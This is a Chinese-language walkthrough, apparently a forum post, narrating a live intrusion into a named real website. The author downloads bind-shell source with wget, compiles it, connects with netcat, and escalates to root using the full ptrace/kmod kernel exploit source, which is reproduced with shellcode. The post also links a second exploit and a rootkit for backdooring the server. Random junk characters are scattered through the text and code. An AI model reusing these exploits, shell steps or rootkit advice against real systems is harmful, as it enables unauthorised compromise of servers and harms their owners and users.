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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了, O o0 ?( x- M4 z3 k' T
就可以用wget这个命令来下载了,输入 , U( l3 F5 z d9 L- U8 K0 I
wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思" y1 Q' B3 Z+ e3 n- v' K
就是下载这个shell.c到/tmp目录下,如图6 ; I/ G1 m* E D% |- a" {4 b! W P
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain3 Z- y* x5 B9 c& n. m1 m' z; A+ p
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs( c9 g& A: o w9 R8 i
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天" h- s1 z7 }0 u0 N
在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果2 z" T8 b% F1 {8 W5 {
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain1 V0 ?8 g: s2 u0 c) p
12gcc: /usr/bin/gcc
+ K2 J% u* z% e1 i好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
8 q q' q% I" \- k) ^, W编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,
( O8 Q. a1 R) t+ s6 b: z/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我' @. s$ R, Q0 V$ k# J- [0 m! m
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000
5 h' S4 B% `5 m; j1 F/ n哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found") G8 {* m/ u Z$ G* q- d% E
呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,
- g, Q( q7 ~& j9 ?Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000( t5 i6 Z# V# n* a
(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*2 Q3 |% B) ^# n/ ?- }. Z, n3 E0 J
* Linux kernel ptrace/kmod local root exploit
9 Z. W% D7 a! U/ W; g*; L6 Q, y( Q: X9 J, f5 H
* This code exploits a race condition in kernel/kmod.c, which creates
8 J5 w( U/ _ A* kernel thread in insecure manner. This bug allows to ptrace cloned- Z' Q; X, F6 Q. @5 w6 b
* process, allowing to take control over privileged modprobe binary.
. H; G$ O$ Q5 l4 A*
7 P r1 S; A) @* Should work under all current 2.2.x and 2.4.x kernels.
$ H/ ~+ o# f! \" `*
7 B0 [5 z; F$ Y, M R* I discovered this stupid bug independently on January 25, 2003, that
% u; u& v8 W7 P# N( c* is (almost) two month before it was fixed and published by Red Hat
+ O ~2 M4 Q0 l7 Y/ V& D* and others.& |3 j3 ^: C$ y
*
% {7 Q8 W8 t) N; f6 u4 f7 R7 {, |* Wojciech Purczynski <cliph@isec.pl>0 G" e( J" u& X
*" p: L# M. Q3 Q
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
4 K6 \* H( G6 m* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY" J* A# L1 u- V0 Y& s4 y3 R
*
8 g) P$ f1 r. n# ^5 X: s6 v* (c) 2003 Copyright by iSEC Security Research# E! R4 N: T/ i. g
*/ #include * F# b( [2 C0 \4 c% A% |0 l
#include
+ ^: E* S! P) H% k2 @8 [6 D#include $ P$ w4 Q0 {3 c6 X9 Y: k
#include 4 `$ ~* Z/ E3 X0 ~
#include
3 J( N- b2 G4 k" R2 z6 p. t# f6 K+ ^#include
- x* c/ N$ z* m8 C- A2 q& F; m#include
- Y) x, P+ y/ C7 f4 q#include
& t- |) m/ v% C& y! E5 {#include 9 [5 v; ^- U) Q
#include 5 w% N3 Q) u7 {' g7 w) ]% \, O
#include 5 ^, w# j7 ` l6 v _( k/ O9 k
#include
3 O7 o5 h: h+ [5 z#include $ `# W7 z; [( L. _7 U2 m' \4 Z
#include & v1 \4 R D$ m# C& }5 y4 |
#include ; w0 L; N: Q& H0 k# u+ X0 D
#include char cliphcode[] =
* n. ^% B, D$ u/ v8 e" y, V* i"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"7 F. n5 ^. Y9 p
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"! I2 f9 ?6 b5 c% v/ s
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d") ^0 X9 G# _6 |) H
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"+ w Y' V& S% `! F
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;/ F. h. b& C' t8 k0 ?3 |
pid_t child = 1;
6 `7 X: T6 l* i$ |pid_t victim = 1;
& e- W0 j; N- C" evolatile int gotchild = 0; void fatal(char * msg)1 t v4 k9 ~6 G
{, p# p( {- J: y' l7 x* ^& [
perror(msg);- G/ n0 ]3 V1 }5 e
kill(parent, SIGKILL);
8 @: j8 l4 o" e* Ikill(child, SIGKILL);
; o2 E/ A* x0 i- Ykill(victim, SIGKILL);
) ?" M# T) Q; n( T9 d5 I' _} void putcode(unsigned long * dst)/ G: C% O" g7 w/ l# |
{
3 I# _8 q8 I( {. Nchar buf[MAXPATHLEN + CODE_SIZE];" T$ [; w7 a+ Z# u/ b4 `
unsigned long * src;
5 ~ C- N, c3 {; Bint i, len; memcpy(buf, cliphcode, CODE_SIZE);! z% H5 Z0 i: N5 g w3 s. c
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);# R8 @ J& C9 T4 P" N, {7 n
if (len == -1)
- E' \7 x' z: jfatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;
0 Q! N8 y5 U+ k" h) pbuf[len] = '\0'; src = (unsigned long*) buf;
8 p5 ]6 b- ]' u1 w" ~: pfor (i = 0; i < len; i += 4)
" h8 S r, |: |7 }" ^if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)3 y9 f+ F. l9 |8 z1 R+ V! p" d: v3 ?
fatal("[-] Unable to write shellcode");. D6 g, { K0 O% d8 t9 I
} void sigchld(int signo)
# s4 E5 z9 s/ f{
* j8 |" |) J$ `9 A4 Z! g1 Y6 Qstruct user_regs_struct regs; if (gotchild++ == 0)9 }( V, l2 h8 _1 n
return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)7 B6 g7 h4 h& ?) A$ |( w3 R' q
fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)4 h- o5 ^3 q8 j/ B6 @. u
fatal("[-] Unable to detach from victim"); exit(0);. `. `4 {, D: Y+ K1 C0 A/ n+ w1 y* q
} void sigalrm(int signo)
( N; B* Y* M. q- p" D) u{" O7 Z0 `6 G4 ^) m8 O
errno = ECANCELED;
" o; Q p9 U# {& B6 [1 U( ^# V& {: Ifatal("[-] Fatal error");
. j9 B/ q' m. |/ p3 V# x- L} void do_child(void)9 N5 C, K0 W' N+ Z
{
! v' b& j$ N" Z# j& H- ~8 pint err; child = getpid();; U' @2 k4 W9 i% e( x" k5 R: g
victim = child + 1; signal(SIGCHLD, sigchld); do( B; |. {" [/ |) n# M1 a; |
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
! Q9 O$ q/ B* b# U6 }0 Fwhile (err == -1 && errno == ESRCH); if (err == -1)
8 ^$ D2 X, ~, _fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);! F8 f+ h9 M% n
while (!gotchild) ;. q) H: T) e6 G( c6 I
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
5 `& \7 ]* ~" N# b; |9 n) Q% dfatal("[-] Unable to setup syscall trace");. E$ j7 C, a" G, M/ n Z
fprintf(stderr, "[+] Waiting for signal\n"); for(;;);
+ q, D; _) j! S# \; r( }0 m- {} void do_parent(char * progname)
" @6 g. O* p7 K+ z v{
5 B6 w/ c9 s, istruct stat st;7 o" i1 r/ D% r* l6 I& |
int err;
- S1 x7 {. l3 werrno = 0;
7 \- D- J4 c, G b4 msocket(AF_SECURITY, SOCK_STREAM, 1);" n, U( z- D E9 J& q ]8 i2 q: m
do {
) G$ B3 }7 N4 _1 g, ?* ^! B3 D9 Serr = stat(progname, &st);$ ~' B$ S- I" g5 R7 j, d
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)" A0 m5 W z/ [: a) L8 v( z( o9 ?5 k
fatal("[-] Unable to stat myself"); alarm(0);& w9 U' W" b1 a2 E7 Z4 L
system(progname);! Q7 k# w2 l8 t" z) }
} void prepare(void)/ M& x" r7 r. v
{
' B c) T* v' ?if (geteuid() == 0) {
9 D$ y6 {" d; Kinitgroups("root", 0);' d: G& W4 k0 z' [4 z
setgid(0);( ^) U z9 a( f( d- w
setuid(0);
% x3 F8 z+ M5 R, ?, Wexecl(_PATH_BSHELL, _PATH_BSHELL, NULL);
) f- \9 V- {6 y; w& ~fatal("[-] Unable to spawn shell"); L' L# G H# w4 q
}' i1 ~; T0 c3 K" a/ @ j4 ]; e
} int main(int argc, char ** argv)+ {/ ~( O% d: I' Z. @+ r3 g
{
$ \$ N& W; P) D- N8 s$ `prepare();
, K* H" H" L, P* ssignal(SIGALRM, sigalrm);
% x- f k# l5 e9 w. T2 D1 Xalarm(10); parent = getpid();
/ a* Y& i. e! b& a: ^/ Rchild = fork();! A2 l# w6 `+ R) S4 Q
victim = child + 1; if (child == -1)
7 k \, f5 y* T5 A0 g2 @' }4 Q, ffatal("[-] Unable to fork"); if (child == 0)$ P- j8 h( Q1 x1 E. O G
do_child();+ \9 e4 H1 r- _5 m0 f* ]# Y. @) M
else4 x. r( C( w6 ]3 O: @: F$ H+ b
do_parent(argv[0]); return 0;5 `& F, H; f( y' u8 W9 S! Y; S
}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |